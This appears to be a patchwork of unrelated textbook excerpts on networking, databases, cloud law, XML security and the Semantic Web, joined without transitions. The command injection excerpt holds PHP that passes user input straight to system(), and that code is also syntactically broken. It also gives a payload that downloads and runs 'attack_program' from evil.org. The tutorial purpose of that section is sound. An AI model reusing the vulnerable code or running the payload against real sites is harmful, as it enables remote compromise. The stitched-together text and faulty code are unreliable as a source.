The Problem with Dynamic DNS

Consider a business traveler who has a laptop configured to automatically update a remote DNS server with its current IP address. If the FQDN that was being updated by the laptop is known, or can be guessed, then anyone with modest computer skills can issue DNS queries on that name at regular intervals and monitor the current IP address.

As the traveler moves from one location to another, the IP address will change and the public DNS record for the FQDN will reflect this. The person monitoring the domain name will be able to observe the precise network locations used whenever the laptop connects to the Internet, as well as an approximate timestamp for when each event took place. Depending on the resources available to the monitor, most notably whether or not they work for law enforcement, they may be able to map that network location to a geographic location, possibly with a high degree of resolution.

The public DNS system is distributed across thousands of servers on the Internet and is used in a wide range of Internet protocols. Dynamic DNS monitoring uses nothing more than basic DNS queries and as such it offers effectively complete anonymity to the person doing the surveillance. Not only that, the target this is unable to detect that they are being observed in this manner. This represents a new form of surveillance that might be used by law enforcement for legitimate purposes or for unethical reasons by co-workers, competitors, or even stalkers, of the target.

Dynamic DNS is used by a large number of users for various reasons. For many of these, with static residential or business computers, monitoring poses no real privacy risk. But for those who travel with their laptop it could pose a serious risk to their personal privacy and business confidentiality. This risk has not been widely recognized thus far.

How to determine applicable law in the cloud?

The identification of applicable laws in the absence of any explicit choice by the parties involved is difficult in relation to any information society service, and cloud computing service models are certainly no exception. In a European context, the provisions of the eCommerce Directive play a central role, as it contains specific rules on applicable law for information society services. However, it is clear that this will be insufficient to address all questions in this domain: the rules established by the Directive obviously apply only in Member States, and in a non-European international context will not be able to solve conflicts of law. In addition, applicability of the law remains linked to the geographical location of the information society service provider, and in a cloud model it may be difficult to identify this entity or its geographical location. Finally, certain issues including contractual consumer protection clauses and intellectual property protection are excluded from the Directive’s scope, meaning that answers to conflicts of law in these domains will have to be sought elsewhere. Thus, it is already very complicated to identify the starting point for the establishment of trust, namely the specific laws that will apply in the absence of a choice by the parties. Globally, voluntary choice of applicable law by the stakeholders in a cloud service model may be the only viable solution to identify applicable law. In practice, the importance of this issue should not be overstated, as the choice of an applicable legal system on a contractual basis has indeed become standard practice in information society service contracts.

Conflict Resolution and Rule Priorities in an MLS Active Database

We can specify any of the conflict resolution policies enumerated above for rules having the same security level. However, if there are rules belonging to different security levels, the conflict resolution policy must always favor the dominated rule. This is because delaying
a rule at the dominated level because of the execution of a rule at the dominating level may give rise to a timing channel.

In a multilevel secure active database system we can also specify priorities, but the requirement is that no dominating rule must have a higher priority than a dominated rule. Thus, if priorities are specified by ordering the set of rules, then all rules at dominated levels must be ordered before any rule at the dominating level.

If numeric priorities are to be specified, one approach is to make the priority specification have two parts: one for the security level and the other for the number. For rules having different security levels, the dominated rules will get preference over the dominating rules. For rules having the same security level, the number will decide which rule is chosen for execution.

Determining InnoDB Resource Requirements

It is all well and good to wave one’s hands and say “InnoDB clearly requires far more memory for these reasons,” but it gets slightly difficult to pin down exactly how much more memory. This is true for several reasons:

1. How did you load your database?

InnoDB table size is not a constant. If you took a straight SQL dump from a MyISAM table and inserted it into an InnoDB table, it is likely larger than it really needs to be. This is because the data was loaded out of primary key order and the index isn’t tightly packed because of that. If you took the dump with the order by primary argument to mysql dump, you likely have a much smaller table and will need less memory to buffer it.

2. What exactly is your table size?

This is an easy question to answer with MyISAM: that information is directly in the output of “SHOW TABLE STATUS”. However, the numbers from that same source for InnoDB are known to be estimates only. The sizes shown are the physical sizes reserved for the tables and have nothing to do with the actual data size at that point. Even the row count is a best guess.

3. How large is your primary key?

It was mentioned above that InnoDB clusters the data for a table around the primary key. This means that any secondary index leaves must contain the primary key of the data they “point to.” Thus, if you have tables with a large primary key, you will need more
memory to buffer a secondary index and more disk space to hold them. This is one of the reasons some people argue for short “artificial” primary keys for InnoDB tables when there isn’t one “natural” primary key.

There is no set method that will work for everyone to predict the needed resources. Worse than that, your needed resources will change with time as more inserts to your table increase its size and fragment the packing of the BTree.  It is important to not run at 100% usage of the innodb buffer, as this likely means that you’re not buffering as much as you could for reads, and that you’re starving your write buffer which also lives in the same global innodb_buffer.

Crystal Reports Server

Crystal Reports Server is services-oriented architecture of BusinessObjects Enterprise. BusinessObjects Enterprise is a complete business intelligence (BI) platform that provides specialized end-user tools including Crystal Reports, Web Intelligence, OLAP  Intelligence, Performance Manager, and Dashboard Manager. BusinessObjects Enterprise also includes data integration capabilities from Data Integrator. It is architected using modern web standards with an industry-standard communication framework to tie all the components and services together.

Crystal Reports Server harnesses the reporting services and components of the BusinessObjects Enterprise architecture to offer small and medium businesses a proven reporting solution. It addresses the complete reporting process—from data access and report design, to report management and delivery, to report integration with portals and enterprise applications.

Functional Architecture of Crystal Reports Server

Crystal Reports Server is comprised of separate—yet interconnected—components and services optimized for specific tasks. These components and services include:

• Data services for comprehensive and flexible data access
  
• Creation tool for flexible data formatting using Crystal Reports
• Platform services for report publishing, security, and processing
• Management tools for managing Crystal Reports Server services and objects
• Web and application services for customized report integration with portals and applications
• User interaction tier for end-user report viewing and interaction

Command Injection

A successful command injection attack gives the attacker complete control of the remote system.

When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:

<?php
$email_subject = “some subject”;
if ( isset($_GET{‘email’})) {
system(“mail ” + $_GET{‘email’}) + ” -s ‘” + $email_subject +
“‘ < /tmp/email_body”, $return_val);
}
?>

The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] –s ‘some subject’ < /tmp/email_body

The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail –help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:

–help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail –help; wget http://evil.org/attack_program;
./attack_program # s ‘some subject’ < /tmp/email_body

This is equivalent to this:

mail –help; wget http://evil.org/attack_program; ./attack_program

This runs mail –help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.

Using XML Signature

A digital signature is a cryptographic value that enables a recipient to verify the source and validity of
an incoming message. XML Signature defines an XML syntax for digital signatures.

When you enable SOAP header processing for a particular virtual service, the ACE XML Gateway
validates XML signatures in incoming messages received at the interface defined by the object. If a
signature does not match the element that is signed, the message is rejected.

Signature validity may not alone ensure message integrity—the signature could have been generated
using any certificate, including one issued by an untrusted source. If using XML Signature as part of
your implementation strategy, you should also specify which Certificate Authorities you want to be
trusted, and direct the ACE XML Gateway to accept only signatures generated with certificates issued
by those trusted CA.

Enabling header processing causes signatures to be validated if present in an incoming message (and
causes messages with invalid signatures to be blocked), but it doesn’t require a message to have a
signature.

The final step in configuring XML Signature, therefore, is specifying the elements of the incoming
message that must be signed. In the policy configuration, you can require a signature covering one or
more of:

• the message timestamp (a common practice in Web service implementations).
• the first element below the SOAP body.
• a particular element you specify by XPath. Each XPath expression you specify must resolve to a
  signed XML element whose signature must be valid for the ACE XML Gateway to accept the
  message.

The Semantic Web – A Web of Metadata

Here we have introduced and discussed some prototypical scenarios that are on a “wish-list” for
next-generation tourism information systems. The Semantic Web that is currently investigated by
different research communities is a suitable candidate to support the development of next
-generation tourism information systems. The Semantic Web is based on machine readable and
processable metadata.

The Syntax Layer: The interchange of data represented in the Semantic Web must
be facilitated through a concrete serialization syntax. XML is an obvious choice frequently
used by the upper layers. However, it is important to mention that the Semantic
Web is not tied to a particular syntax. Within the syntax layer Unicode is used,
that provides a unique number for every character, no matter what the platform, what
the program, or what the language is. Beside Unicode, the usage of so-called URI
(unified resource identifiers) is essential.

The RDF(S) Layer: The Semantic Web concept is to do for data what HTML did for textual
information systems: to provide sufficient flexibility to be able to represent all
databases, and logic rules to link them together to great added value. The first steps in
this direction were taken by the World-Wide Web Consortium (W3C) in defining Resource
Description Framework (RDF), a simple language for expressing relationships in triples
where any of the triple can be a first class web object. The RDF-Schema Specification,
which became a W3C candidate recommendation in March 2000, is an RDF application that
introduces an object-oriented, extensible type system to RDF. RDF-Schema is a minimalist
model, including primitives for representing classes, properties, subproperty, subclasses,
domain & range restrictions and means for representing comments & labels.

Figure 1: Semantic Web Representation Layers

The Ontology Layer: This layer includes more complex representation primitives,
such as transitive properties, cardinalities, etc.. We refer the interested reader to the
recent research initiatives OIL3 and DAML+OIL4 that are built on top of RDF(S).
E.g. OIL unifies the epistemologically rich modeling primitives of frames, the formal
semantics and efficient reasoning support of description logics and is mapped to the
standard Web metadata language proposals.

The Logical Layer: The logic layer consists of rules that enable inferences, e.g. to
choose courses of action and answer questions. The proof layer is required to provide
explanations about the answers given by automated agents that consume the provided
information. Naturally, you might want to check the results deduced by your agent,
this requires the translation of its internal reasoning mechanisms into an unifying
proof representation language.

The Proof & Trust Layer: Proof and trust mechanisms are still to be developed. At
this stage in the development of the Semantic Web, though, this problem is not tackled.
Most applications construction of a proof is done according to some fairly constrained
rules, and all that the other party has to do is validate a general proof.

IMA Advantages

1. Transport of a single ATM cell stream at rates between T1/E1 and T3/E3, taking advantage
   of cost-effective bandwidth at sub-T3/E3 rates.
2. Provisioning of bandwidth in T1/E1 increments, which lets network planners
   increase or decrease bandwidth based on need.
3. Bandwidth consolidation across T1/E1 link groups, leading to more efficient use of
   circuits.
4. Automatic and transparent adjustment to accommodate added/restored and
   deleted/failed T1/E1 links, minimizing provisioning and maintenance.
5. Transparent transport of the ATM layer and higher layers, which preserves cell order and
   ATM traffic management techniques and makes IMA compatible with the existing ATM
   architecture

    

Parallel database system solution

Before reading about the solution, a fair question the reader may ask is: “What
is the problem? Is that problem important? and to whom?” Answering
these questions requires looking at a global picture of our computerized society.
Today, in a competitive world, enterprises of all kinds use and depend on timely
available, up-to-date information. Information volumes are growing 25-35% per
year and the traditional transaction rate has been forecast to grow by a factor
of 10 over the next five years-twice the current trend in mainframe growth.
In addition, there is already an increasing number of transactions arising
from computer systems in business-to-business interworking and by intelligent
terminals in the home, office or factory.

The profile of the transaction load is also changing as decision-support queries,
typically complex, are added to the existing simpler, largely clerical workloads.
Thus, complex queries such as those macro-generated by decision support systems
or system-generated as in production control will increase to demand significant
throughput with acceptable response times. In addition, very complex queries on
very large databases, generated by skilled staff workers or expert systems, may
hurt throughput while demanding good response times.

From a database point of view, the problem is to come up with database
servers that support all these types of queries efficiently on possibly very large
on-line databases. However, the impressive silicon technology improvements
alone cannot keep pace with these increasing requirements. Microprocessor
performance is now increasing 50% per year, and memory chips are increasing
in capacity by a factor of 16 every six years. RISC processors today can deliver
between 50 and 100 MIPS (the new 64 bit DEC Alpha processor is predicted to
deliver 200 M!PS at cruise speed!) at a much lower price/MIPS than mainframe
processors. This is in contrast to much slower progress in disk technology which
has been improving by a factor of 2 in response time and throughput over the
last 10 years. With such progress, the I/O bottleneck worsens with time.

The solution is therefore to use large-scale parallelism to magnify the raw power
of individual components by integrating these in a complete system along with the
appropriate parallel database software. Using standard hardware components is
essential to exploit the continuing technology improvements with minimal delay.
Then, the database software can exploit the three forms of parallelism inherent
in data-intensive application workloads. Interquery parallelism enables the parallel
execution of multiple queries generated by concurrent transactions. Intraquery
parallelism makes the parallel execution of multiple, independent operations (e.g.,
select operations) possible within the same query. Both interquery and intraquery
parallelism can be obtained by using data partitioning. Finally, with intraoperation
parallelism, the same operation can be executed as many suboperations using
function partitioning in addition to data partitioning. The set-oriented mode of
database languages (e.g., SQL) provides many opportunities for intraoperation
parallelism. For example, the performance of the join operation can be increased
significantly by parallelism.